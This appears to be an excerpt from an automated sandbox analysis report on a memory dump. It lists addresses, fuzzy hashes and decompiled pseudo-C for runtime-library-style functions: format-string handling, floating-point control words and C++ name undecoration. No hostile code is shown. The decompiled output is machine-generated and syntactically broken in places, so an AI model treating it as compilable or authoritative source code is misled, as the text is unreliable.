0x00c6dbe1
0x00c6dbe4
0x00c6dc17
0x00c6dc19
0x00000000
0x00c6dc19
0x00c6dbe6
0x00c6dbe9
0x00c6dc07
0x00c6dc07
0x00c6dc07
0x00c6dc07
0x00000000
0x00c6dc07
0x00c6dbeb
0x00c6dbee
0x00c6dc00
0x00000000
0x00c6dc00
0x00c6dbf0
0x00c6dbf3
0x00000000
0x00000000
0x00c6dbf7
0x00000000
0x00c6dbf7
0x00c6db6e
0x00000000
0x00000000
0x00c6db74
0x00c6db76
0x00c6dbb7
0x00c6dbb7
0x00c6dbba
0x00c6dbd3
0x00000000
0x00c6dbd3
0x00c6dbbc
0x00c6dbbc
0x00c6dbbf
0x00000000
0x00000000
0x00c6dbc2
0x00c6dbc5
0x00000000
0x00000000
0x00c6dbc7
0x00c6dbca
0x00000000
0x00c6dbca
0x00c6db78
0x00c6dbb1
0x00000000
0x00c6dbb1
0x00c6db7d
0x00000000
0x00000000
0x00c6db86
0x00000000
0x00000000
0x00c6db8b
0x00000000
0x00000000
0x00c6db90
0x00000000
0x00000000
0x00c6db99
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 00C6DCD1

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: b13773afd7dee7f8e38f576ba9e8014b3a49b9fac972a0b85315805c7837f0b6
Instruction ID: 9cf91b83a307ae77995be6dedabb152b5fc023045c25f195321aeb68ad45d436
Opcode Fuzzy Hash: b13773afd7dee7f8e38f576ba9e8014b3a49b9fac972a0b85315805c7837f0b6
Instruction Fuzzy Hash: 59516A70F0074C77DB389A2E88D6BBE6799EB81300F18455ED467D7286C691DF48E352

Uniqueness

Uniqueness Score: -1.00%

Function 00C6DFC8, Relevance: 1.5, Strings: 1, Instructions: 216
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E00C6DFC8(intOrPtr* __ecx) {
				char _v6;
				char _v8;
				signed int _v12;
				void* __ebx;
				char _t51;
				signed int _t52;
				void* _t53;
				signed int _t54;
				signed char _t56;
				signed char _t58;
				signed int _t59;
				void* _t61;
				signed char _t66;
				signed char _t69;
				signed char _t76;
				signed char _t78;
				signed int _t80;
				signed int _t82;
				signed int _t83;
				unsigned int _t89;
				signed int _t90;
				signed int* _t91;
				void* _t93;
				signed int _t95;
				unsigned int _t97;
				signed char _t99;
				void* _t107;
				intOrPtr _t110;
				void* _t114;
				intOrPtr* _t117;
				void* _t119;
				void* _t120;
				void* _t122;
				void* _t123;

				_push(__ecx);
				_push(__ecx);
				_t117 = __ecx;
				_t93 = 0x58;
				_t51 =  *((char*)(__ecx + 0x31));
				_t122 = _t51 - 0x64;
				if(_t122 > 0) {
					__eflags = _t51 - 0x70;
					if(__eflags > 0) {
						_t52 = _t51 - 0x73;
						__eflags = _t52;
						if(_t52 == 0) {
							L9:
							_t53 = E00C7345A(_t117);
							L10:
							if(_t53 != 0) {
								__eflags =  *(_t117 + 0x30);
								if( *(_t117 + 0x30) != 0) {
									L70:
									_t54 = 1;
									L71:
									return _t54;
								}
								_t95 = 0;
								_v8 = 0;
								_v6 = 0;
								_t89 =  *(_t117 + 0x20);
								_v12 = 0;
								_t56 = _t89 >> 4;
								__eflags = 1 & _t56;
								if((1 & _t56) == 0) {
									L45:
									_t110 =  *((intOrPtr*)(_t117 + 0x31));
									__eflags = _t110 - 0x78;
									if(_t110 == 0x78) {
										L47:
										_t58 = _t89 >> 5;
										__eflags = _t58 & 0x00000001;
										if((_t58 & 0x00000001) == 0) {
											L49:
											_t90 = 0;
											__eflags = 0;
											L50:
											__eflags = _t110 - 0x61;
											if(_t110 == 0x61) {
												L53:
												_t59 = 1;
												L54:
												__eflags = _t90;
												if(_t90 != 0) {
													L56:
													 *((char*)(_t119 + _t95 - 4)) = 0x30;
													__eflags = _t110 - 0x58;
													if(_t110 == 0x58) {
														L59:
														0x78 = 0x58;
														L60:
														 *((char*)(_t119 + _t95 - 3)) = 0x78;
														_t95 = _t95 + 2;
														__eflags = _t95;
														_v12 = _t95;
														L61:
														_t91 = _t117 + 0x18;
														_t61 = _t117 + 0x448;
														_t114 =  *((intOrPtr*)(_t117 + 0x24)) -  *((intOrPtr*)(_t117 + 0x38)) - _t95;
														__eflags =  *(_t117 + 0x20) & 0x0000000c;
														if(( *(_t117 + 0x20) & 0x0000000c) == 0) {
															E00C68ED3(_t61, 0x20, _t114, _t91);
															_t95 = _v12;
															_t120 = _t120 + 0x10;
														}
														_push(_t117 + 0xc);
														E00C75623(_t117 + 0x448,  &_v8, _t95, _t91);
														_t97 =  *(_t117 + 0x20);
														_t66 = _t97 >> 3;
														__eflags = _t66 & 0x00000001;
														if((_t66 & 0x00000001) != 0) {
															_t99 = _t97 >> 2;
															__eflags = _t99 & 0x00000001;
															if((_t99 & 0x00000001) == 0) {
																E00C68ED3(_t117 + 0x448, 0x30, _t114, _t91);
																_t120 = _t120 + 0x10;
															}
														}
														E00C75015(_t117, _t110, 0);
														__eflags =  *_t91;
														if( *_t91 >= 0) {
															_t69 =  *(_t117 + 0x20) >> 2;
															__eflags = _t69 & 0x00000001;
															if((_t69 & 0x00000001) != 0) {
																E00C68ED3(_t117 + 0x448, 0x20, _t114, _t91);
															}
														}
														goto L70;
													}
													__eflags = _t110 - 0x41;
													if(_t110 == 0x41) {
														goto L59;
													}
													goto L60;
												}
												__eflags = _t59;
												if(_t59 == 0) {
													goto L61;
												}
												goto L56;
											}
											__eflags = _t110 - 0x41;
											if(_t110 == 0x41) {
												goto L53;
											}
											_t59 = 0;
											goto L54;
										}
										_t90 = 1;
										goto L50;
									}
									__eflags = _t110 - 0x58;
									if(_t110 != 0x58) {
										goto L49;
									}
									goto L47;
								}
								_t76 = _t89 >> 6;
								__eflags = 1 & _t76;
								if((1 & _t76) == 0) {
									__eflags = 1 & _t89;
									if((1 & _t89) == 0) {
										_t78 = _t89 >> 1;
										__eflags = 1 & _t78;
										if((1 & _t78) != 0) {
											_v8 = 0x20;
											_t95 = 1;
											_v12 = 1;
										}
										goto L45;
									}
									_v8 = 0x2b;
									L42:
									_t95 = 1;
									_v12 = 1;
									goto L45;
								}
								_v8 = 0x2d;
								goto L42;
							}
							L11:
							_t54 = 0;
							goto L71;
						}
						_t80 = _t52;
						__eflags = _t80;
						if(__eflags == 0) {
							L28:
							_push(0);
							_push(0xa);
							L29:
							_t53 = E00C71D09(_t117, _t107, __eflags);
							goto L10;
						}
						__eflags = _t80 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t53 = E00C7327B(__ecx);
						goto L10;
					}
					__eflags = _t51 - 0x67;
					if(_t51 <= 0x67) {
						L30:
						_t53 = E00C703A3(0, _t117);
						goto L10;
					}
					__eflags = _t51 - 0x69;
					if(_t51 == 0x69) {
						L27:
						_t2 = _t117 + 0x20;
						 *_t2 =  *(_t117 + 0x20) | 0x00000010;
						__eflags =  *_t2;
						goto L28;
					}
					__eflags = _t51 - 0x6e;
					if(_t51 == 0x6e) {
						_t53 = E00C72BE6(__ecx, _t107);
						goto L10;
					}
					__eflags = _t51 - 0x6f;
					if(_t51 != 0x6f) {
						goto L11;
					}
					_t53 = E00C73115(__ecx);
					goto L10;
				}
				if(_t122 == 0) {
					goto L27;
				}
				_t123 = _t51 - _t93;
				if(_t123 > 0) {
					_t82 = _t51 - 0x5a;
					__eflags = _t82;
					if(_t82 == 0) {
						_t53 = E00C6FBDB(__ecx);
						goto L10;
					}
					_t83 = _t82 - 7;
					__eflags = _t83;
					if(_t83 == 0) {
						goto L30;
					}
					__eflags = _t83;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t53 = E00C7136F(0, _t117, __eflags, 0);
					goto L10;
				}
				if(_t123 == 0) {
					_push(1);
					goto L13;
				}
				if(_t51 == 0x41) {
					goto L30;
				}
				if(_t51 == 0x43) {
					goto L17;
				}
				if(_t51 <= 0x44) {
					goto L11;
				}
				if(_t51 <= 0x47) {
					goto L30;
				}
				if(_t51 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x00c6dfcd
0x00c6dfce
0x00c6dfd1
0x00c6dfd7
0x00c6dfd8
0x00c6dfdc
0x00c6dfdf
0x00c6e04d
0x00c6e050
0x00c6e09f
0x00c6e09f
0x00c6e0a2
0x00c6e00e
0x00c6e010
0x00c6e015
0x00c6e017
0x00c6e0bd
0x00c6e0c0
0x00c6e1f4
0x00c6e1f4
0x00c6e1f6
0x00c6e1f9
0x00c6e1f9
0x00c6e0c6
0x00c6e0c8
0x00c6e0cc
0x00c6e0d1
0x00c6e0d7
0x00c6e0da
0x00c6e0dd
0x00c6e0df
0x00c6e110
0x00c6e110
0x00c6e113
0x00c6e116
0x00c6e11d
0x00c6e11f
0x00c6e122
0x00c6e124
0x00c6e12a
0x00c6e12a
0x00c6e12a
0x00c6e12c
0x00c6e12c
0x00c6e12f
0x00c6e13a
0x00c6e13a
0x00c6e13c
0x00c6e13c
0x00c6e13e
0x00c6e144
0x00c6e144
0x00c6e149
0x00c6e14c
0x00c6e157
0x00c6e159
0x00c6e15a
0x00c6e15a
0x00c6e15e
0x00c6e15e
0x00c6e161
0x00c6e164
0x00c6e168
0x00c6e16e
0x00c6e174
0x00c6e176
0x00c6e17a
0x00c6e181
0x00c6e186
0x00c6e189
0x00c6e189
0x00c6e18f
0x00c6e19c
0x00c6e1a1
0x00c6e1a6
0x00c6e1a9
0x00c6e1ab
0x00c6e1ad
0x00c6e1b0
0x00c6e1b3
0x00c6e1c0
0x00c6e1c5
0x00c6e1c5
0x00c6e1b3
0x00c6e1cc
0x00c6e1d1
0x00c6e1d4
0x00c6e1d9
0x00c6e1dc
0x00c6e1de
0x00c6e1eb
0x00c6e1f0
0x00c6e1de
0x00000000
0x00c6e1f3
0x00c6e14e
0x00c6e151
0x00000000
0x00000000
0x00000000
0x00c6e153
0x00c6e140
0x00c6e142
0x00000000
0x00000000
0x00000000
0x00c6e142
0x00c6e131
0x00c6e134
0x00000000
0x00000000
0x00c6e136
0x00000000
0x00c6e136
0x00c6e126
0x00000000
0x00c6e126
0x00c6e118
0x00c6e11b
0x00000000
0x00000000
0x00000000
0x00c6e11b
0x00c6e0e3
0x00c6e0e6
0x00c6e0e8
0x00c6e0f0
0x00c6e0f2
0x00c6e101
0x00c6e103
0x00c6e105
0x00c6e107
0x00c6e10b
0x00c6e10d
0x00c6e10d
0x00000000
0x00c6e105
0x00c6e0f4
0x00c6e0f8
0x00c6e0f8
0x00c6e0fa
0x00000000
0x00c6e0fa
0x00c6e0ea
0x00000000
0x00c6e0ea
0x00c6e01d
0x00c6e01d
0x00000000
0x00c6e01d
0x00c6e0a9
0x00c6e0a9
0x00c6e0ac
0x00c6e07e
0x00c6e07e
0x00c6e07f
0x00c6e081
0x00c6e083
0x00000000
0x00c6e083
0x00c6e0ae
0x00c6e0b1
0x00000000
0x00000000
0x00c6e0b7
0x00c6e026
0x00c6e026
0x00000000
0x00c6e026
0x00c6e052
0x00c6e095
0x00000000
0x00c6e095
0x00c6e054
0x00c6e057
0x00c6e08a
0x00c6e08c
0x00000000
0x00c6e08c
0x00c6e059
0x00c6e05c
0x00c6e07a
0x00c6e07a
0x00c6e07a
0x00c6e07a
0x00000000
0x00c6e07a
0x00c6e05e
0x00c6e061
0x00c6e073
0x00000000
0x00c6e073
0x00c6e063
0x00c6e066
0x00000000
0x00000000
0x00c6e06a
0x00000000
0x00c6e06a
0x00c6dfe1
0x00000000
0x00000000
0x00c6dfe7
0x00c6dfe9
0x00c6e02a
0x00c6e02a
0x00c6e02d
0x00c6e046
0x00000000
0x00c6e046
0x00c6e02f
0x00c6e02f
0x00c6e032
0x00000000
0x00000000
0x00c6e035
0x00c6e038
0x00000000
0x00000000
0x00c6e03a
0x00c6e03d
0x00000000
0x00c6e03d
0x00c6dfeb
0x00c6e024
0x00000000
0x00c6e024
0x00c6dff0
0x00000000
0x00000000
0x00c6dff9
0x00000000
0x00000000
0x00c6dffe
0x00000000
0x00000000
0x00c6e003
0x00000000
0x00000000
0x00c6e00c
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 00C6E144

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 53c13b49ef791249bec19022dc20d7048d134fc43a4e5ee1a006a7ba82a52bce
Instruction ID: 8f706c5c2ab9ec153f03f7d8e2c5406949953e66cbaf3161d91659c86ba1e563
Opcode Fuzzy Hash: 53c13b49ef791249bec19022dc20d7048d134fc43a4e5ee1a006a7ba82a52bce
Instruction Fuzzy Hash: BD518A3C6046489ADF38896C88D67FF67AAAB03300F14441FD467DB283DAE19F49F612

Uniqueness

Uniqueness Score: -1.00%

Function 00C9308D, Relevance: .1, Instructions: 104
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E00C9308D(unsigned int _a4) {
				signed int _v8;
				signed int _v32;
				void _v36;
				signed int _t56;
				signed int _t59;
				unsigned int _t61;
				unsigned int _t63;
				signed int _t70;
				signed int _t81;
				void* _t101;

				_t61 = _a4;
				_t68 = _t61 >> 0x00000010 & 0x0000003f;
				_t70 = 7;
				memset( &_v36, 0, _t70 << 2);
				asm("fnstenv [ebp-0x20]");
				_v32 = _v32 ^ (_v32 ^ ((_t61 >> 0x00000010 & 1) << 0x00000005 | ((_t61 >> 0x00000010 & 0x0000003f) >> 0x00000001 & 1) << 0x00000004 | (_t68 >> 0x00000002 & 1) << 0x00000003 | (_t68 >> 0x00000003 & 1) << 0x00000002 | _t68 >> 0x00000004 & 1 | (_t68 >> 0x00000005 & 1) + (_t68 >> 0x00000005 & 1))) & 0x0000003f;
				asm("fldenv [ebp-0x20]");
				_t63 = _t61 >> 0x00000018 & 0x0000003f;
				_t56 = (_t63 >> 0x00000005 & 1) + (_t63 >> 0x00000005 & 1);
				_t81 = (_t63 & 1) << 0x00000005 | (_t63 >> 0x00000001 & 1) << 0x00000004 | (_t63 >> 0x00000002 & 1) << 0x00000003 | (_t63 >> 0x00000003 & 1) << 0x00000002 | _t63 >> 0x00000004 & 1 | _t56;
				_t101 =  *0xca3abc - 1; // 0x6
				if(_t101 >= 0) {
					asm("stmxcsr dword [ebp-0x4]");
					_t59 = _v8 & 0xffffffc0 | _t81 & 0x0000003f;
					_v8 = _t59;
					asm("ldmxcsr dword [ebp-0x4]");
					return _t59;
				}
				return _t56;
			}

0x00c93098
0x00c930a0
0x00c930f8
0x00c930f9
0x00c930fb
0x00c9310a
0x00c9310d
0x00c93113
0x00c9315d
0x00c93160
0x00c93162
0x00c9316a
0x00c9316c
0x00c93179
0x00c9317b
0x00c9317e
0x00000000
0x00c9317e
0x00c93183

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b128a7f14585b30409d89ca6f06a0d3f449c293ce461f5678c4a4673511d240f
Instruction ID: ca265d0ce92a0eb30364aece5fc2696802f7be8c25552cd7777a02d47e7e61b6
Opcode Fuzzy Hash: b128a7f14585b30409d89ca6f06a0d3f449c293ce461f5678c4a4673511d240f
Instruction Fuzzy Hash: DC21A473F20439577B0CC57E8C562BDB6E1868C501745823AE8A6EA2C1D968DA17E2A4

Uniqueness

Uniqueness Score: -1.00%

Function 00C92F6D, Relevance: .1, Instructions: 81
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E00C92F6D(void* __ecx) {
				signed int _v8;
				signed int _v12;
				unsigned int _t55;
				signed int _t70;
				void* _t72;

				_v8 = 0;
				asm("fnstsw word [ebp-0x4]");
				_t70 = ((_v8 & 0x3f) >> 0x00000001 & 1) << 0x00000005 | ((_v8 & 0x3f) >> 0x00000002 & 1) << 0x00000003 | ((_v8 & 0x3f) >> 0x00000003 & 1) << 0x00000002 | (_t43 >> 0x00000004 & 1) + (_t43 >> 0x00000004 & 1) | (_t43 & 1) << 0x00000004 | _t43 >> 0x00000005;
				_t72 =  *0xca3abc - 1; // 0x6
				if(_t72 >= 0) {
					asm("stmxcsr dword [ebp-0x8]");
					_t55 = _v12 & 0x0000003f;
				} else {
					_t55 = 0;
				}
				return (((_t55 >> 0x00000001 & 1) << 0x00000005 | (_t55 >> 0x00000002 & 1) << 0x00000003 | (_t55 >> 0x00000003 & 1) << 0x00000002 | (_t55 >> 0x00000004 & 1) + (_t55 >> 0x00000004 & 1) | (_t55 & 1) << 0x00000004 | _t55 >> 0x00000005) << 0x00000008 | _t70) << 0x00000010 | (_t55 >> 0x00000001 & 1) << 0x00000005 | (_t55 >> 0x00000002 & 1) << 0x00000003 | (_t55 >> 0x00000003 & 1) << 0x00000002 | (_t55 >> 0x00000004 & 1) + (_t55 >> 0x00000004 & 1) | (_t55 & 1) << 0x00000004 | _t55 >> 0x00000005 | _t70;
			}

0x00c92f78
0x00c92f7c
0x00c92fc1
0x00c92fc3
0x00c92fc9
0x00c92fcf
0x00c92fd6
0x00c92fcb
0x00c92fcb
0x00c92fcb
0x00c93024

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21795e1ab33172a2cdeb0722aeac5a5cd89e7d750df6e7aec5fe99068b1ad22b
Instruction ID: f3b48c27031618da79f3994dad5abb18e4adbc3fef15bcf7107557bb4d115e99
Opcode Fuzzy Hash: 21795e1ab33172a2cdeb0722aeac5a5cd89e7d750df6e7aec5fe99068b1ad22b
Instruction Fuzzy Hash: 7411C623F30C356B675C81AD8C172BAA1D2EBD824030F433AD827E7284E9A4DE13D290

Uniqueness

Uniqueness Score: -1.00%

Function 00C308EE, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.208078781.0000000000C30000.00000040.00000001.sdmp, Offset: 00C30000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4324828f627b6bb0fb9c77ef1135b1a25c16c170ba8a3c28242676e39d3c830
Instruction ID: d0d509756a1dc33f19f67d9dc9395cb82ff5a4525d2195d84ad71a21a3de0fc4
Opcode Fuzzy Hash: f4324828f627b6bb0fb9c77ef1135b1a25c16c170ba8a3c28242676e39d3c830
Instruction Fuzzy Hash: 5B11C637A20209EFDB10DBAAD894A6DF7FDEF44760F644065E815D3311E7709E41D660

Uniqueness

Uniqueness Score: -1.00%

Function 00C309DE, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.208078781.0000000000C30000.00000040.00000001.sdmp, Offset: 00C30000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16547e1fdedecc12c00c52f4e517689794c9225d74c133a4488530a871c9f38f
Instruction ID: c8064b3da7537fe950057db48d76f89786d77338af17bd9d314467bc720be15c
Opcode Fuzzy Hash: 16547e1fdedecc12c00c52f4e517689794c9225d74c133a4488530a871c9f38f
Instruction Fuzzy Hash: C4E012367746499FC754CBA8D851D15B3F8EB09720B254294FC25C73A1E634EE00E690

Uniqueness

Uniqueness Score: -1.00%

Function 00C30A1C, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.208078781.0000000000C30000.00000040.00000001.sdmp, Offset: 00C30000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c0ee92d967234240d1aeaee57440cb1fca394a3c7c5a1b28cb5c43ac66d8783
Instruction ID: 8062db6067f78277d6efee128a3d7a9d5e99158b6237810e500e8e813f8ab09b
Opcode Fuzzy Hash: 2c0ee92d967234240d1aeaee57440cb1fca394a3c7c5a1b28cb5c43ac66d8783
Instruction Fuzzy Hash: E6E086373216508FC320DA19D490D56F3E8EF883B1B254479E859D7711C230FC00D650

Uniqueness

Uniqueness Score: -1.00%

Function 00C7BDAE, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecc21433ff7721b4ed571075543c98d68c6efa6dd59d5518f85dce14f9d18e15
Instruction ID: b8a726116e88f80fcc2a9c1d8255b96aa9733be1ded97c644db73223d5bf925d
Opcode Fuzzy Hash: ecc21433ff7721b4ed571075543c98d68c6efa6dd59d5518f85dce14f9d18e15
Instruction Fuzzy Hash: 95E08C32911238EBCB24DBCCC945A8AF3ECEB48B01B11849AF605D3200C270DE00D7D0

Uniqueness

Uniqueness Score: -1.00%

Function 00C3099F, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.208078781.0000000000C30000.00000040.00000001.sdmp, Offset: 00C30000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction ID: 01513cdb45ce42654985ae443ff07ed2023d2f9c2cc80418f216d1c85a703bac
Opcode Fuzzy Hash: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction Fuzzy Hash: ECC00139661A40CFCA55CF08C194E00B3F4FB5D760B068491E906CB732C234ED40DA40

Uniqueness

Uniqueness Score: -1.00%

Function 00C5C328, Relevance: 28.8, APIs: 19, Instructions: 339
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00C5C328(signed int* _a4, intOrPtr* _a8) {
				signed int _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				char _v44;
				char _v52;
				void* __ebx;
				void* _t105;
				signed int* _t107;
				signed int _t110;
				unsigned int _t111;
				void* _t115;
				void* _t129;
				unsigned int _t134;
				void* _t142;
				void* _t148;
				intOrPtr* _t149;
				intOrPtr* _t152;
				unsigned int _t154;
				signed char _t156;
				void* _t162;
				intOrPtr* _t163;
				signed int _t165;
				signed int _t169;
				void* _t172;
				signed int* _t174;
				signed int _t181;
				signed int _t185;
				void* _t189;
				intOrPtr* _t190;
				void* _t191;
				signed int _t195;
				unsigned int _t205;
				void* _t235;
				signed int _t253;
				signed int _t257;
				intOrPtr* _t260;
				intOrPtr* _t261;
				void* _t262;
				void* _t263;

				_t198 =  *0xca3e38; // 0x0
				_t263 = _t262 - 0x30;
				_t105 =  *_t198;
				if(_t105 == 0) {
					L50:
					E00C59302(_t198, _a4, 1, _a8);
					L51:
					_t107 = _a4;
					L52:
					return _t107;
				}
				if(_t105 < 0x36 || _t105 > 0x39) {
					if(_t105 != 0x5f) {
						goto L49;
					}
					goto L4;
				} else {
					L4:
					_t195 = _t105 - 0x36;
					_t198 = _t198 + 1;
					 *0xca3e38 = _t198;
					if(_t195 != 0x29) {
						__eflags = _t195;
						if(_t195 < 0) {
							L49:
							_t107 = _a4;
							_t107[1] = _t107[1] & 0x00000000;
							 *_t107 =  *_t107 & 0x00000000;
							_t107[1] = 2;
							goto L52;
						}
						_t253 = _t198;
						__eflags = _t195 - 3;
						if(__eflags > 0) {
							goto L49;
						}
						L11:
						if(_t195 == 0xffffffff) {
							goto L49;
						}
						_t260 = _a8;
						_v20 = _v20 & 0x00000000;
						_v16 = _v16 & 0x00000000;
						_v12 =  *_t260;
						_v8 =  *((intOrPtr*)(_t260 + 4));
						_t110 = 2;
						_t257 = _t195 & _t110;
						if(_t257 == 0) {
							L23:
							if((_t195 & 0x00000004) != 0) {
								_t154 =  *0xca3e40; // 0x0
								_t156 =  !(_t154 >> 1);
								_t282 = _t156 & 0x00000001;
								_push( &_v52);
								if((_t156 & 0x00000001) == 0) {
									E00C595CE( &_v12, E00C5AA19(_t253, __eflags));
								} else {
									_t162 = E00C592D7(_t198,  &_v44, 0x20, E00C5AA19(_t253, _t282));
									_t263 = _t263 + 0x10;
									_t163 = E00C59346(_t162,  &_v28,  &_v12);
									_v12 =  *_t163;
									_v8 =  *((intOrPtr*)(_t163 + 4));
								}
							}
							_t111 =  *0xca3e40; // 0x0
							_push( &_v52);
							if(( !(_t111 >> 1) & 0x00000001) == 0) {
								_t115 = E00C5B0F9();
								_t200 =  &_v12;
								E00C595CE( &_v12, _t115);
							} else {
								_t152 = E00C59346(E00C5B0F9(),  &_v44,  &_v12);
								_t200 =  *_t152;
								_v12 =  *_t152;
								_v8 =  *((intOrPtr*)(_t152 + 4));
							}
							if( *_t260 != 0) {
								_t148 = E00C592D7(_t200,  &_v52, 0x28,  &_v12);
								_t263 = _t263 + 0xc;
								_t149 = E00C59368(_t148,  &_v44, 0x29);
								_v12 =  *_t149;
								_v8 =  *((intOrPtr*)(_t149 + 4));
							}
							_t261 = E00C5C84E(0xca3e54, 8);
							if(_t261 == 0) {
								_t261 = 0;
							} else {
								 *_t261 = 0;
								 *((intOrPtr*)(_t261 + 4)) = 0;
							}
							E00C5D7F5(0,  &_v36, _t261);
							E00C59440( &_v12, E00C59368(E00C592D7(0xca3e54,  &_v44, 0x28, E00C5A642( &_v52)),  &_v28, 0x29));
							_t205 =  *0xca3e40; // 0x0
							if((_t205 & 0x00000060) != 0x60 && _t257 != 0) {
								E00C59440( &_v12,  &_v20);
								_t205 =  *0xca3e40; // 0x0
							}
							_push( &_v52);
							if(( !(_t205 >> 0x13) & 0x00000001) == 0) {
								_t129 = E00C5D6CD(_t253);
								_t209 =  &_v12;
								E00C595CE( &_v12, _t129);
							} else {
								_t142 = E00C5D6CD(_t253);
								_t209 =  &_v12;
								E00C59440( &_v12, _t142);
							}
							E00C59440( &_v12, E00C5C8D8(_t209,  &_v52));
							_t134 =  *0xca3e40; // 0x0
							_push( &_v52);
							if(( !(_t134 >> 8) & 0x00000001) == 0) {
								E00C595CE( &_v12, E00C5E832());
							} else {
								E00C59440( &_v12, E00C5E832());
							}
							_t107 = _a4;
							if(_t261 == 0) {
								_t107[1] = 0;
								_t107[1] = 3;
								 *_t107 = 0;
							} else {
								 *_t261 = _v12;
								 *((intOrPtr*)(_t261 + 4)) = _v8;
								 *_t107 = _v36;
								_t107[1] = _v32;
							}
							goto L52;
						}
						if( *_t198 == 0x40) {
							_t33 = _t253 + 1; // 0x2
							_t165 = _t33;
							 *0xca3e38 = _t165;
							L19:
							_t235 =  *_t165;
							if(_t235 == 0) {
								E00C59346(E00C58F7B( &_v52, 1), _a4,  &_v12);
								goto L51;
							}
							if(_t235 != 0x40) {
								goto L49;
							}
							 *0xca3e38 = _t165 + 1;
							_t169 =  *0xca3e40; // 0x0
							_push( &_v52);
							if((_t169 & 0x00000060) == 0x60) {
								_t172 = E00C5E803();
								_t198 =  &_v20;
								E00C595CE( &_v20, _t172);
							} else {
								_t174 = E00C5E803();
								_t198 =  *_t174;
								_v20 =  *_t174;
								_v16 = _t174[1];
							}
							goto L23;
						}
						_v24 = _t110;
						_v28 = "::";
						_t244 = E00C58EDB( &_v44,  &_v28);
						E00C59346(_t177,  &_v28,  &_v12);
						_v12 = _v28;
						_v8 = _v24;
						_t181 =  *0xca3e38; // 0x0
						if( *_t181 == 0) {
							E00C59346(E00C58F7B( &_v52, 1),  &_v28,  &_v12);
							_v12 = _v28;
							_t185 = _v24;
						} else {
							_t189 = E00C592D7(_t244,  &_v28, 0x20, E00C5D824(_t253,  &_v44));
							_t263 = _t263 + 0x10;
							_t190 = E00C59346(_t189,  &_v52,  &_v12);
							_t185 =  *(_t190 + 4);
							_v12 =  *_t190;
						}
						_v8 = _t185;
						_t165 =  *0xca3e38; // 0x0
						goto L19;
					}
					_t191 =  *_t198;
					if(_t191 == 0) {
						goto L50;
					} else {
						_t1 = _t198 + 1; // 0x2
						_t253 = _t1;
						_t195 = _t191 - 0x3d;
						_t198 = _t253;
						 *0xca3e38 = _t198;
						if(_t195 < 4 || _t195 > 7) {
							_t195 = _t195 | 0xffffffff;
						}
						goto L11;
					}
				}
			}

0x00c5c32b
